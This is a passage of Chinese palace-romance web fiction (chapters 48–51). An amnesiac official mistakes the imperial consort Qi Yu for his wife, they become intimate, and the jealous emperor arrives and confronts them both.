戚妤是贵妃,就意味着她的一举一动都会被人收入眼底,而不会在裴府时那样方便。 但戚妤没管,这里到处都是乌时晏的人,不管怎么遮掩,乌时晏总会知道,既如此,那何必顾虑那么多? 裴谨比乌时晏温润、听话、容易满足,只要她给他一点点甜头,他就会如获珍宝,而不像乌时晏那样在不断索取着更多,不甘心,贪婪成性,不易敷衍。 况且,裴谨只记得她了,如何能不让她心里生出怜惜。 她闲暇时能逗一逗裴谨,却无论如何逗不了乌时晏。 这便是差别。 也许是睡前喝了酒,戚妤的目光放纵地落在裴谨脸上,她伸出另一只手,挑起了裴谨的下巴。 裴谨只是握她握的更紧了,眼中流淌着温和爱意。 他并不觉得这个动作怎么冒犯,甚至隐隐激动。 青葱玉指落在他肌肤上,便代表着戚妤在念着他。 戚妤收回手,看吧,裴谨与乌时晏真的很不同。 第48章 戚妤并未在裴谨房内停留很久, 在他睡下后,她就离开了。 裴谨没来时,她都计划好明天要出门,因此得早早回去养精蓄锐。 翌日, 临行前, 戚妤让人给山上的道观送了东西, 而后便翻身上马, 带着弓箭和侍卫出发了。 等裴谨想故技重施时, 便听到了戚妤离开的消息, 只好在吴御医炯炯有神的目光下将药喝的一干二净。 送走御医, 裴谨问身边的人:“娘娘可说什么时候回来?” 宫人糊涂道:“奴才不知,但娘娘吩咐了,在大人伤好前,不让大人您出门。” 裴谨让人找来书籍, 慢慢地看。 戚妤是晚上回来的,她连着练了小半个月的弓箭很奏效, 加上附近山上猎物憨蠢, 她收获颇多, 又沉浸其中一时没注意, 便跑远了。 她回来时,佩玖在宅子前等着她。 戚妤下马, 将缰绳交给下人,便朝佩玖走去:“这么晚了, 怎么不先歇下?” 佩玖摇头晃脑, 说的头头是道:“见到娘娘,奴婢才安心,心安才好入睡。” “娘娘一脑门汗, 定是玩儿尽兴了。” 戚妤微微一笑,柔和的目光看向佩玖。 她们进入宅子,走在廊下,侍卫已经纷纷退下,佩玖便拿出了帕子。 戚妤见此低头配合。 佩玖极细心地为她擦汗。 佩玖道:“奴婢让人准备好了热水,娘娘可先用膳,再沐浴更衣。” 戚妤:“我们在外面用过了,不必麻烦,直接沐浴就好。” 裴谨见外面的喧闹声,就知道是戚妤回来了,他特意走了出来,便看见眼前这一幕。 戚妤今日穿的是红衣,背对着他,因此只能看到个背影和如锻的长发以及发后随微风飘动的红色发带,他不必随她一同出去,只一眼,便可想象得到她的飒沓。 她低头,与婢女相谈甚欢。 裴谨竟有些羡慕这个婢女,她可以名正言顺站在戚妤身边,他却不能。 佩玖将帕子收起来,戚妤也继续往前走,拐进另一个走廊时,她余光看到了裴谨,与裴谨的目光一触及离。 戚妤目光微顿,待走远了问佩玖道:“裴大人今日可有事?” 佩玖摇了摇头:“御医说,裴大人的根骨好,身体见好也快。” 戚妤入耳,对此留了心。 这一夜因为玩儿了一天的缘故,戚妤沐浴过后,便沉沉睡了过去。 次日,戚妤赏着花不知不觉走到了裴谨这里,她从窗外瞥了一眼,准备从正门进去。 却见裴谨正一手扶着袖,从容地将药汁倒在盆栽里,低眉将碗放到托盘上。 戚妤目光一凝,这种事,裴谨之前万万不会做的。 毕竟无论是谁,都不会拿自己的身体开玩笑。 但现在的裴谨失了大部分记忆,他想做什么事,就会执拗要达成,为此,让伤迟迟不好这种异于常人的行为,他却敢去做。 戚妤未惊动任何人地转身离去,离开后她吩咐宫人:“再去煮一碗裴大人午时要喝的药,给裴大人送去。” 宫人称诺退下。 宫人再回来时,屈膝道:“娘娘,裴大人想请娘娘过去切磋棋艺。” 园内的景戚妤已经赏了数日,闻言便起了身 等戚妤到时,裴谨已经沏好了茶,戚妤在他对面坐下。 因裴谨身上有伤,他们并未去亭子里,而是坐在屋内靠窗的椅子上,中间放了张桌子。 裴谨率先开口道:“我特意泡了茶,不知道你是否爱喝。” 戚妤先落下一子:“为何不喝药?” 裴谨:“你又送来的我喝了,既然看见我将药倒了,为什么不来见我。” 他倒不心虚。 戚妤未抬眼:“你还没回答我的问题。” “……因为想见你。” 裴谨与戚妤双双沉默。 佩玖一脸震惊,她离得近,听的一清二楚,未免两人再说出什么话被听去了,她离开将外间站着的宫人支了出去。 等佩玖再次回来,戚妤对佩玖道:“裴大人失忆了,误将我认成了他夫人。” 现在他们不仅是在宫外,还离乌时晏远远的,戚妤在亲密的人面前自然不会去自称本宫。 裴谨……也算亲密吧。 裴谨问佩玖:“斗胆问,娘娘是何时入宫的?” 佩玖道:“今年三月。” 裴谨看向戚妤,推算道:“那我们在蘅芜院的日子应是去岁夏日。” 戚妤分析着棋局:“错了,是今年乞巧节之后。” 裴谨微愣,而后笑道:“夫人还说那不是你。” 不是的话,戚妤为什么知道的那么清楚? 在蘅芜院中的日子,因为东西不全,他可是挑了许多物件让管家送来,想来蘅芜院不是他们日常的居所。 若是旁人,对他们夫妻住在哪里知道的定不会那么清楚。 戚妤轻描淡写道:“我与你真正的夫人交好,这才知道,你可以问一问佩玖。” 佩玖一脸纠结,乞巧节之后,不就是娘娘呆在裴府的那一段时间么。 裴谨并未顺着戚妤的话问出口。 他脑中闪过两个荷包,和一个走进府内的模糊人影腰间佩戴的荷包,对戚妤口中的真正夫人升起了微妙妒意。 裴谨忽略这些不合理的记忆,将贴身藏着的荷包拿了出来:“这个是你给我绣的,我一直记着。” 自脑后受了重创,他清醒后便是先摸一摸怀里,确保它在。 看见荷包,戚妤的手微顿,不由气弱了一瞬。 怎么还留着? 即便这个荷包跟裴谨受了大难,但荷包上却不见任何脏污,和戚妤那天见到的狼狈不堪的裴谨形成了鲜明对比。 戚妤放软了语气:“这个不好,我改日再给你绣一个。” 裴谨笑起来,愈显俊逸:“好,若再有一个,我日日配在腰间。” 大抵是因为手中这个荷包跟戚妤那日的成品的很像,裴谨只一直将其贴身藏着,但戚妤给他绣一个真正属于他的,他便可正大光明戴出来了。 真好。 戚妤不好再对裴谨苛责,提醒道:“药一定要喝,不然,若出了事,我定不会再来你这里。” 裴谨问:“那你明日可来下棋?” “来。” 裴谨心定了,认真与戚妤对弈起来。 可尤是如此,还是戚妤这个没怎么钻研过棋艺的人赢了。 戚妤想,应是裴谨连这部分记忆也失了,才演变成菜鸡互啄,最终她赢下这盘棋。 这记忆失的好啊。 不管怎么样,是她赢了,戚妤脸上漫起笑意。 佩玖则在一旁观察着裴谨,裴大人的模样可比娘娘失去的那个竹马好多了,想来是能抚慰娘娘心中的伤痕,娘娘对裴大人态度柔和太正常了。 反正又没做什么不是吗? 佩玖是完全站在戚妤这边的,起初她以为戚妤对谁都冷淡,极不好相处,可如今,佩玖却觉得再没有比戚妤更好的人了。 她是真心在对待她。 此后连着两日,戚妤都来与裴谨下棋,而裴谨,每次都亲自泡了茶,他观察着戚妤喝茶的次数,很快摸清了戚妤的喜好。 再一次对弈结束,戚妤准备离开,恰逢今日风大,佩玖离开去拿披风。 戚妤起身,裴谨也跟着站了起来,在戚妤经过他身边的时候,他眼疾手快地拉住了戚妤的手,握着她的腰,往一旁带去。 裴谨的背部挡住了外面可能有的窥视,亦将戚妤阻在他身前。 “夫人,我真的很想你。”裴谨低喃,他的目光中带着萧苦,但爱意不减。 他看着戚妤的眼眸,深深望了进去。 明明心爱之人就在眼前,却因为中间横亘着一个陛下,不得不守着不应有的礼,怎不叫人痛苦。 裴谨的身形将戚妤的视线挡的严严实实,戚妤往旁边看去,也看不到什么,只得看向裴谨。 戚妤抿唇:“如果你想起来,会后悔的。” 裴谨想着这两日闪过的零星的片段,这些记忆不足以让他理清现状,但他知道,在蘅芜院的就是她。 裴谨笃声道:“绝无后悔的可能。” “记住你说的话。” 戚妤不再犹豫,倾身在裴谨的唇角落下一吻,但她很快拉开了,她道:“佩玖快回来了。” 裴谨难掩蜜意,手放在戚妤的后脑勺重新续上并加深了这个吻。 戚妤说的话可以有两层意思,是要提醒他得结束这场短暂的温存了,亦可以是让他抓紧时间,不要做无谓的耽搁。 裴谨深信是后一个意思。 等真的听到佩玖的脚步声,戚妤踩了裴谨一脚,裴谨这才恋恋不舍与戚妤分开。 他的眸光比任何时候都温柔。 戚妤则靠在他身上,并不去看他。 佩玖准备进来时,听到屋内没什么动静,连落棋的声音都没有,便敲了敲开着的房门,在门口道:“娘娘,奴婢取披风回来了。” 戚妤旋即出来,佩玖为她披好系上披风。 戚妤看着庭院内的风,伸出手道:“今夜应是要下雨了,若是雨下的大,要来的人恐得多耽搁两日。” 佩玖不明所以,跟在戚妤身边的裴谨看着外面的风,眼中是静谧的幽微。 一旦下雨,城外的路泥泞难行,陛下就算在路上,也得被绊在原地。 这也就意味着,这两日,实实在在只有他们两个人。 因记忆里没有陛下这个人,更没有怕的情绪,裴谨对此只有坦然自若。 雨是在半夜落下来的,初时雨小,等戚妤清晨醒来的时候,走出去,廊外已经形成了雨幕,雨在此刻真正大了起来。 戚妤多添了件衣裳,才跟往常一样,往裴谨的住处走去。 裴谨今日沏的茶略烫,戚妤用杯壁暖着指尖。 裴谨见此,直接将戚妤的手拉了过来,双手紧贴着握了上去。 佩玖几乎是同手同脚地离开,并将门合上。 今日有雨,风凉,窗户也是闭上的。 戚妤好整以暇的看着裴谨。 裴谨心里只有一句话,这本就是我的夫人,错的是陛下,而不是他。 心中热意渐升。 第49章 外面即便是白日, 但因下着雨,光线格外阴暗,落到屋内也是一片暗淡。 好在燃着几盏灯,不至于让人觉得伤眼。 裴谨将灯灭掉, 牵起戚妤的手放在唇边轻吻。 他最大的优点就是敢想敢干。 况且他现在最是孑然一身。 戚妤眼中闪过恍惚, 就这么跌进了裴谨怀里, 直到被抱起, 床帐被放下, 她也只是目光怔怔, 视线落在裴谨脸上。 似怎么也看不够。 直到裴谨一点点将她的注意力拉回, 她方落在了实处。 戚妤抓着裴谨的胳膊,带着朴实的诚恳:“你还记得吧?” 裴谨闷声道:“看家的本领,怎么会忘?” 语气是遮不住的激动与自信。 戚妤选择信他一回,但她总觉得不太对劲。 片刻后, 在裴谨埋下头的时候,戚妤终于察觉出了哪里不太对, 现在一如她离开裴府前的那一夜一样…… 她忙托住裴谨的脸颊:“不是这样。” 裴谨抬头, 目光中满是璀璨的笑意:“我知道不是这样, 可为夫想让娘子先适应一下。” 他自然知道是怎么回事, 但记忆中,她喜欢这样啊。 戚妤看着裴谨, 只觉心生欢喜,她低头在裴谨脸上残留的伤上印下了一个吻。 两人此刻纯粹的厉害, 一门心思在这上面, 只觉时间过的飞快。 当一切该做的不该做的做完后,裴谨一点点帮戚妤穿好衣裳:“夫人下次出门不要把我落在宅子里。” 不然,他便是想在门前等她都不如一个丫鬟来的名正言顺。 见腰带被系上, 戚妤嗯了一声,她摸了摸裴谨腰腹上的绷带:“万幸没将伤口崩开。” 裴谨扫了一眼:“快长好了。” 戚妤面露疑惑,裴谨受的伤可不算轻。 裴谨道:“为夫也不知道怎么回事,只觉身体好的快,喝药也能分辨出用了哪些药材,好似喝过许多碗药一样,一闻到药味就觉许多记忆涌进脑中,但细想一下,又什么都抓不住。” 正因如此,他才能刚到这个宅子上两日,没有任何亲信的情况下吃了相克的药,弄出来了热症。 只是没把握好时间,热症发的慢,以至于半夜将戚妤吵了起来。 原本可以好的更快。 戚妤揉了揉裴谨的头发:“别为难自己,等找一个擅长脑疾的大夫,一切就能想起来了。” 裴谨亦是这样想的。 戚妤下了榻,穿上鞋,便从裴谨这里离开了。 裴谨目光紧紧跟随着戚妤,直到听见门被打开闭上的木头声音,他才失落地收回了目光。 他目的性极强的从一塌糊涂的锦被中找出一截小衣。 戚妤天生是被服侍的命,她对如何穿好繁琐的衣裳还不得要领,常要人服侍着来,即便他故意落下了一截小衣,戚妤也一无所觉。 裴谨将浅蓝色的小衣放在鼻尖,是戚妤的气息。 他满是陶醉,时而有一丝清醒,活像个变态。 裴谨将这件小衣按进了怀里。 给他们肆意相处的时间太短,只堪堪够一次罢了。 从裴谨的房内出来,戚妤便见到了佩玖。 她懒散道:“佩玖,我要沐浴。” 佩玖脸倏地红了起来。 屋内灭灯的时间一长,佩玖便感觉到不对劲了,但戚妤不提,她也不问。 佩玖道:“娘娘,热水已经备好了。” 现在仍下着雨,周遭没什么下人走动,戚妤回到屋内,沐浴过后便酣睡了一场。 再次醒来时,雨已经不知什么时候停了,戚妤起身,坐在桌边,支着下巴不知在想什么。 佩玖见戚妤这副烂漫的样子,连忙将笔墨纸砚与戚妤常临的字帖找来放在她面前:“娘娘,静心。” 戚妤稍稍收敛了下,窘迫不已,忙将注意力放在眼前的字帖上。 将字帖临了三遍后,戚妤忽地想起了件事:“佩玖,将针线绣绷拿来,我要绣东西。” 既然荷包绣过了,就绣个香包吧,院中的秋海棠开的正好,可以晒干放进去。 佩玖将东西找来,戚妤准备绣一棵青松。 总说裴谨似竹,但戚妤觉得青松也很适合她。 尤其是今日,劲挺。 一直绣到晚上,佩玖将灯点燃:“娘娘,该用晚膳了,且夜里不宜绣东西,即便有灯,也伤眼。” 戚妤这才停下,松缓肩颈。 翌日,戚妤如约去裴谨那里下棋。 这次是真的下棋。 戚妤恍若未闻裴谨落在她脸上的目光,很快便以碾压式的胜利赢下了这盘棋。 她笑道:“裴大人分心了。” 裴谨将手中的棋子放下:“夫人在这里,为夫很难不分心。” 外面有丫鬟走过,裴谨却是恨不得所有人都知道他的身份。 他原本该是戚妤的夫。 只是不能,在戚妤纳闷地看了他一眼后,裴谨便自觉闭上了嘴。 佩玖在一旁只觉好笑。 戚妤道:“明日我要出门,上次出去时正好发现了一处很能上鱼的地方,所以明天打算去垂钓。你……” 裴谨没等戚妤问完,便不假思索道:“我去。” 戚妤低笑:“我让人多准备一副鱼竿。” “今天就到这里吧,裴大人好好养伤。” 戚妤起身,见裴谨还想拉住她,便用帕子扫过他的手心,莞尔道:“裴大人不必送了。” 裴谨知道戚妤这是在逗他,望着戚妤离去的背影,他拢起手心,慢慢笑了起来。 戚妤这么快离开自然不止是为了戏弄裴谨,而是她给裴谨绣的香包颇费时间。 她想明天就送出去。 刚好昨日雨停,她让人摘了经雨水也开的最好的海棠花,择出花瓣,于今日放在太阳下晒干。 时间紧,她不得不挤压下棋的时间。 翌日清晨,他们分乘马车到了一处湖边,戚妤特意请经验丰富的人找了一处好地方,才将垂钓的工具放下。 待坐在竹椅上,戚妤将袖中的香包找出来,递到裴谨眼前。 “香包。”戚妤笑道,眼底透着一点点紧张。 她担心裴谨觉得这份礼物敷衍,毕竟她的手艺跟上次没有什么进步。 裴谨怔愣了一下,接了过来:“我还以为你忘了。” 他轻轻抚过上面绣的青松,在她眼中,他竟是这样好的人吗? 裴谨对这个香包怎么都摸不够。 戚妤看出了他的爱不释手,她翘起唇角反驳道:“怎么会,我记性很好。” 卫四蹲在树上,嘴里嚼着根草,他目之所及,觉得贵妃娘娘和裴大人坐的太近了,不知在说些什么,但肢体上却透露着亲密。 他于是移到离他们更近的一棵树上,这次,勉强听清了他们的声音。 贵妃娘娘将鱼钩甩进湖里,偏头问道:“裴大人,你会钓鱼吗?” 裴谨道:“不是熟手,娘娘呢?” “我会拿棍子叉鱼,可惜这里不是浅溪。” 裴谨轻笑,卫四沉默下来。 都互相尊称娘娘和裴大人了,大抵是没什么问题。 卫四退回了原本的树上。 戚妤往卫四那个方向看了一眼,她方才才提醒过裴谨:裴大人,这里虽是郊外,但带的人却不少。 裴谨将那声夫人咽下,转而心不甘情不愿地称起娘娘。 然后越唤越自然,裴谨觉得他似乎本就该唤她娘娘。 但怎么可能呢? 他无论是个怎么样的人,都不会坦然接受妻子被迫进宫为妃这件事,更遑论尊敬坦然地唤戚妤娘娘。 所以唤娘娘二字时的熟络感应是他的错觉。 裴谨压下心中的淡淡心虚,与戚妤一同垂钓。 戚妤在感叹着卫四的碰巧,不再多想,开始钓鱼。 虽然她和裴谨在这方面不是熟手,但老天太照顾他们了,几乎是戚妤这边一咬钩,裴谨那边也会紧接着有了动静,反之亦然。 在裴谨的鱼线绷直时,戚妤这边紧跟着有了咬饵感,她一边耐心等待,一边感叹着连鱼都喜欢成双成对的来。 午时,戚妤让擅厨艺的宫人将鱼炙烤,配着带来的食物,与众人一起分了。 吃饱喝足,戚妤还饮了一杯桃花酿。 她前脚将酒杯放下,后脚裴谨便误拿过去兀自饮了一杯。 见戚妤看向他,裴谨道:“酒好喝。” 戚妤的脸一下子红了,裴谨拿起酒杯根本没再斟酒,杯中无酒,何来好喝? 裴谨以为戚妤没发现,微微一笑。 他自能品出别的滋味。 戚妤只能庆幸口脂早早便掉了,她也没让佩玖补,不然就该落在酒杯上了。 戚妤气恼地折断了手边的枯枝。 若不是人多,她就该拧在裴谨身上了! 裴谨不明所以,沾湿了手帕给戚妤擦干净手。 戚妤抿着唇,怏怏不乐,只是伸出去的手却没收回来。 下午时候,他们的运气就不算好了,几乎没什么收获。 戚妤看着天色,决定不再强求,吩咐佩玖提前回去。 回到宅子上后,戚妤对鱼的兴趣不减,挽起袖子去喂庭院内池子里的鱼。 宅子上养的鱼自然不都是名贵的鱼,但也是精挑细选进了池子,戚妤站在桥上,看了半天,只觉每条都好看。 裴谨自然是陪在她身边。 戚妤在投鱼食,裴谨的手虚虚揽在她腰间。 佩玖全当没看见。 这时,戚妤若有所感转头,侧身看去,只见乌时晏神情淡淡穿着一身玄色长袍进来了这里。 他应是没让人通禀,以至于宫人只能跟在他身上,却怎么也不敢越过他跑进来。 乌时晏踏进庭院内,便顿住了。 目光刹那间骇人的紧。 裴谨这厮与阿妤站在桥上,一个手中拿着鱼食,一个护着对方,宛如一对恩爱夫妻。 真是好极了。 乌时晏几乎要抚掌笑起来了。 裴谨比戚妤慢的听见脚步声,他看着陌生的男子走在最首,身边是没见过的宫人,便知道这是谁了。 裴谨将原本虚握的手真的落到了戚妤的腰肢上,浅笑着。 乌时晏眼眸微暗,作为一个聪明人,他自然看出了裴谨是故意的。 他们也许没有表现的那么亲密,不然裴谨不会虚虚握着,直到他来,才真正揽上。 他笃定戚妤对裴谨的小动作一无所知。 乌时晏这样想着,脸色却不受控制地更冷了。 戚妤没朝乌时晏走过去,只静静地看着他。 对乌时晏会来,她毫不意外,可对睡了裴谨,她也毫不后悔。 第50章 “卫四。”乌时晏忽然出声, 打破了平静。 卫四落在地上,单膝跪地道:“回禀陛下,裴大人失忆了,忘却了很多事, 对谁在追杀并不清楚。微臣已经让人将裴大人在山上的痕迹处理好了, 并在山上布下暗哨, 一旦有可疑之人, 微臣定能当场将其擒拿。” 戚妤有趣的目光落在卫四身上。 卫四忠君, 脚踏实地, 将事交给他再让人放心不过了。 但他亦是个彻头彻尾的呆子。 乌时晏握上扳指, 自己手下的人给他的情敌保驾护航……裴谨怎么不死在追杀途中? 乌时晏半阖眼:“卫四,将不想干的人赶出去。” 卫四听命,将宅子上的宫人带去了别处,只留下贵妃娘娘, 裴大人,陛下身边的田公公。 他觉得裴大人不算不相干的人, 毕竟陛下来这里, 就是为了追查裴大人遇刺一事, 将裴大人带走算怎么回事? 乌时晏眉头皱起, 但这时也不是处置一个听不懂命令的暗卫的时候。 他冷着脸看向戚妤。 戚妤道:“裴大人确实失忆了,只记得在蘅芜院的事。” 在戚妤说出这句话时, 乌时晏便已经上前走到了她面前。 他知道接下来的话他不会很想听。 面对乌时晏冷冽迫人的目光,戚妤仍把这句话补充完整了:“他把臣妾认成了他的夫人。” 裴谨将环腰改成了牵住戚妤的手:“她是臣明媒正娶的妻子。” 乌时晏将裴谨忽视到底, 他问戚妤:“阿妤, 他这几天都是这样认为的?” 阿妤,裴谨想,他以后也要叫夫人为阿妤。 戚妤:“是。” 乌时晏呵了一声, 将戚妤的手从裴谨的手中拉走,这才看向裴谨,带着戏弄道:“站在朕身边,与朕十指紧扣的是朕亲自立的贵妃,裴大人,下次见面,记得行礼问安,恭恭敬敬语称娘娘。” “若朕没有记错的话,裴大人一年前明媒正娶的妻子名唤赵婉仪,乃赵氏嫡女,你这般,将赵氏至于何地?” “裴大人,装傻充愣的把戏朕连看都懒的看,若真不信,咬定阿妤是你的妻子,为何不去问问庄子上的下人,看看哪一个会含糊其辞,看看哪一个又让你觉得朕会是那种强取臣子之妻的人。” “朕行得正,坐得端,裴大人,不妨问问你自己,谁才是那个卑劣的,觊觎旁人妻子的人。” 裴谨闻言,神情未变,戚妤的话他不会辨不出真假。 在戚妤说她不是他夫人时,便在他心中留下了痕迹。 裴谨道:“陛下,请恕微臣冒犯,即便微臣失忆,微臣也不会认不出枕边人。” “微臣与夫人是真心相爱,若夫人不是蘅芜院时的夫人,那陛下为何要将臣贬离京城,让微臣一辈子都见不到夫人。” “可否容臣问一句陛下,陛下将臣贬官,当真没有掺杂任何私心吗?” 他有太多的证据证明戚妤是他的夫人,但裴谨一个都没有说。 他身上的荷包与戚妤送的香包针脚一致,戚妤背上的胎记与他记忆中的一模一样,就连夫人被亲吻时的反应都与记忆一致。 但裴谨觉得这些太私密,太温情,他自己念还念不够,不过是争辩罢了,还不足以将这些拿出来说。 即便是天子,也不配。 “陛下,臣自知身份低微,可气节仍在,若让臣指认臣的妻子不是臣的妻子,臣做不到。” 裴谨神情冷肃,环住了戚妤的肩膀。 他此时的骨头硬的很。 乌时晏紧紧握着戚妤的手才勉强压下心中的怒气,他问:“裴大人,你口口称着夫人,可你蘅芜院的夫人叫什么总该知道吧。” 裴谨一愣,恰在这时,戚妤偏头看向他,眼中是他看不懂的疑窦。 他夫人叫戚妤,裴谨这样想着,迟疑道:“微臣……不知。” 裴谨这个心机深沉的卑鄙小人……乌时晏紧紧盯着戚妤,字字清楚道:“你看,他一旦恢复记忆,就会退回原本的位置,他所做的一切不过是建立在阿妤是他明媒正娶的夫人上,可他若知道,他还有一个琴瑟和鸣,举案齐眉的妻子,他所做的抉择绝不是阿妤想看到的。” 乌时晏想不明白,裴谨哪儿来的资格跟他争,他府上可还有一个正经夫人。 戚妤看着乌时晏,目光微微动摇。 她于裴谨不过是个意外。 裴谨应该有他的青云路,而不是被贬官,被迫离京,被追杀。 “我不会!”裴谨断然出声,他看着戚妤,目光坚定。 他可是夫人眼中的青松,怎会如陛下所说。 乌时晏继续紧迫地盯着戚妤:“他有一百种知道真相的方法,可他都没有去验证阿妤不是他的妻子,他这样只认为自己是对的人,真的不会恢复记忆,恢复古板、刚正不阿的本性后放弃阿妤吗?” 戚妤有些茫然。 乌时晏用指腹摩擦着她的手背,裴谨掌心的温度似能透过衣裳落在她肌肤上。 他们或步步紧逼,或急切想知道她的意思。 戚妤其实是想和乌时晏断了,她吃不消乌时晏,比起乌时晏,裴谨或许更适合她。 但乌时晏说的没错,恢复记忆的裴谨可能不是她期许的。 任何人都不能容忍旁人假扮他的妻子,即便他与原本的妻子本就是表面夫妻。 戚妤眼眸逐渐清明:“陛下,请您去料理裴大人遇刺的事吧,涉及朝廷命官,不好耽搁。” “裴大人,事关正事,不宜再在本宫身上浪费时间了。” 戚妤看向田文善。 田文善连忙道:“贵妃娘娘请吩咐。” 戚妤:“本宫要回屋歇息,将佩玖唤回来吧。” 田文善退了出去,戚妤也抽回了手,从裴谨身边离开。 两人都没有拦戚妤,这种事,终归得戚妤自己想透,此时拦下没有任何意义。 乌时晏也拂袖跟在戚妤后面离开。 他可以名正言顺踏入戚妤卧房,但裴谨却不能也不会,流言蜚语都能杀了他。 田文善再次回来,将裴谨请走,陛下过来时另带了太医,正是治脑疾的。 他感叹陛下的先见之明,毕竟裴大人可是病的不轻。 竟胆敢与陛下争贵妃,他身上还一身嫌疑没洗干净呢,又闹出了这事。 田文善深觉裴大人是活一日少一日,才这么有底气。 裴谨眼神微黯,他确实不能追上去,连辩驳都这样苍白,可能唯有他恢复记忆,才能真正证明他不会陷入陛下故意构陷的抉择中。 回到房内,戚妤倚在软榻上,随意拿起一旁的团扇,遮在脑袋上。 门嘎吱一声开了,又被人轻轻掩上。 乌时晏走近,拿走戚妤的团扇,便坐在她身边,将人拢在怀里。 他低头,脸颊贴着戚妤的脸颊,扶着她的肩膀,幽幽道:“你太放纵裴谨那厮了,让他靠的那样近,又惹了可笑的误会,若不是朕知道阿妤心地善良,只是尽了照料受伤臣子的义务,朕都该吃裴谨的醋了。” 乌时晏凶相毕露,锐利的目光看向前方。 只要戚妤顺着他的话应下,他可以既往不咎,可以不去探究他们为何那么亲密的原因。 她也仍会是他心爱的女子。 乌时晏相信,戚妤会知道怎么选择。 戚妤想了想,她孑然一身,比失忆的裴谨还要光棍,要选自然选最刺激的,百般遮掩有什么意思? “我喜欢裴谨。” 乌时晏没了声音。 戚妤看向乌时晏,眸中尽是挑衅:“是我引诱了裴谨,让他与我欢好了。” 乌时晏的脸庞如落了霜一般。 他缓了缓,道:“阿妤,不可以说这种词,该罚。是裴谨勾引了你,朕知道。” 乌时晏看向戚妤,两人鼻尖几乎要碰在一起,似要把对方给看透。 “阿妤以为朕会在乎这些吗?” “朕只要你,朕只要未来的太子是从你腹中出来的,朕再也不会将你从朕身边放走,这次,是对朕的教训。” 戚妤无趣地移了视线。 她不会为了扳回一局就拿乌时晏与裴谨床上的事相比较。 乌时晏捏住戚妤的下巴,让她重新看向他:“阿妤连看朕一眼都不想看了吗,那这样呢?” 他倾身,吻上了心心念念的唇,心里的忿忿终于有了发泄的地方。 他承认,他不是表现的那么平静,对戚妤的话也不是那样的无动于衷。 阿妤竟然说她喜欢裴谨…… 凭什么?只是短短几日,怎么能轻易喜欢上别人,那他怎么办? 戚妤要溺毙在乌时晏的吻下,他没有给她换气的时间,紧紧抓着她的手,红着眼一眨不眨地看着她,仿佛要与她缠绵至死。 不许有一丝的分离。 戚妤原本还是一尾很活跃的鱼,没有让乌时晏时刻占领上风,但力气迅速流失下,她便也被迫承受起来。 在她难受的蹙眉时,乌时晏终于舍得分离了。 戚妤扶着软榻,大口喘着气。 乌时晏趁机将人抱起,走向床榻:“阿妤,朕说的要罚,不是开玩笑的。” 他将人放到床上,俯视道:“朕会让你忘掉裴谨的滋味,只记得朕。” 戚妤从床上爬下来,准备下床跑走,却被乌时晏阻了去路,见离开不能,她泄气道:“这是白天。” 乌时晏将戚妤斜插的一支簪子拿掉:“无碍,再有一个时辰便日暮了。” 戚妤的长发倾泻而下,她茫然无辜地看向乌时晏。 她现在说她对方才说过的话都不记得了还有救吗?《 》 50-60 第51章 气氛一时僵住, 乌时晏目光黯淡地看向戚妤:“阿妤,你对朕究竟有什么不满意?” “朕难道就那么比不上裴谨?” 戚妤泄气,眉眼恹恹,颇为无精打采:“陛下说的哪里的话, 谁又能将你与旁人相比。” “只是臣妾是个庸人, 只喜欢讨好自己的人, 而不喜欢逼迫臣妾, 对臣妾冷脸的人。错不在陛下, 而在臣妾。” “臣妾暂无心力应对, 陛下先走吧, 田公公应是将陛下的住处收拾妥当了。” 戚妤拢了拢头发,目光落在乌时晏手中的那支发簪上一瞬。 她实在气闷的厉害,要上榻为什么不将他自己外衣脱了,反而来抽她的发簪。 乌时晏拿这样混身是软刺的戚妤毫无办法:“那朕若是不走呢?” 戚妤撇过脸:“那臣妾将毫无办法……陛下不正是知道这点, 才这样肆无忌惮将臣妾带上床吗?” 乌时晏这样,她如何不会对乌时晏生出失望, 又如何不会在见到裴谨后平生出欢喜? 她又不是只围着乌时晏转的人。 裴谨不香吗? 乌时晏目光一沉, 语气不由发寒:“你在想裴谨。” 戚妤眨了下眼, 眸光重新变得清澈。 “你想让朕走, 是因为怕裴谨受了委屈是不是?”乌时晏眸中隐有泪光闪过,他掀起眼皮, 掩住了这丝情绪。 戚妤面露不解,并未注意到这个细节, 她纳闷不已, 乌时晏为何会这样问? 她不想,她不愿,还不够清晰吗? 戚妤看向乌时晏, 眉间微蹙,一字一顿道:“是臣妾自己不想。” 乌时晏闻言,眉头忽然舒展开来。 他倏地意识到,即便没有裴谨,戚妤身边也会有其他人,只是或早或晚。 一直以来执迷不悟的其实是他,而非对他倔强的戚妤。 他困不住戚妤,只是戚妤不愿意与他争,一次次这样消耗的是戚妤对他的喜欢。 是的,乌时晏觉得戚妤喜欢过自己,一如现在对裴谨这样。 要说她对裴谨有多么喜欢,也不见得,只是在他的对比下,能坦荡地对他说出,她喜欢裴谨。 若是真的面对裴谨的问询,戚妤反倒会迟疑,就像是对他,从未真真正正说过爱与喜欢。 但戚妤有真心吗? 乌时晏觉得是有的,不然他何德何能在戚妤那里得到了那么多纵容。 乌时晏知道戚妤喜欢怎样的人,戚妤也从未掩饰过,直白的可爱。 可自从在清水县隐隐摸到戚妤的身份,他就觉得她一辈子不会走,不会离开他。毕竟多少人前仆后继想接近他,杀了他,而戚妤出身的家族如果跟他有仇,又怎么可能舍得离开他。 因而那些日子,他对戚妤太过放肆,从没想过再伪装一番,讨得戚妤的欢心。 戚妤的脾气已经是极好的了,无论他怎样对她,她也只会在当下从他身上讨回来,但连咬下来一块肉的凶劲儿都没有。 况且,他喜欢她在他身上留下的痕迹,恨不得能留下迟迟不好的疤。 等到老了,他就可以指着这些疤对阿妤说这是你什么时候咬的,阿妤就会说,你这个老头子,记性可真好,而拿他毫无办法,亦或者狠狠将他锤一顿。 只是想到那个场面,乌时晏就不禁喜悦起来。 他们未来的路还有很长。 因而戚妤当时有多讨厌他,他就有多暗暗开心,毕竟他们亲密无间,他的狗脾气在戚妤这里得到了最大的纵容。 但现在完全不一样了,戚妤不是非他不可,她垂怜了裴谨,对他说她与裴谨欢好了。 原来她从始至终都不是他的。 乌时晏自听闻那些话便心中郁郁,万念俱灰,只能佯装平静,妄图将这一茬混淆过去。 之前他头脑昏昏,根本不知道该怎么处置裴谨,该怎样断了两人的情谊。 但现在,望着戚妤坚定的眼眸,乌时晏重新有了打算。 乌时晏缓和了声音:“朕知晓了,朕真的知道了。” “既然阿妤不喜欢,我们什么都不做。” 戚妤犹疑地看向乌时晏。 乌时晏只是淡淡一笑,握着戚妤的手:“朕让田文善将佩玖找来,让她服侍你,之后阿妤和朕一同用膳。” 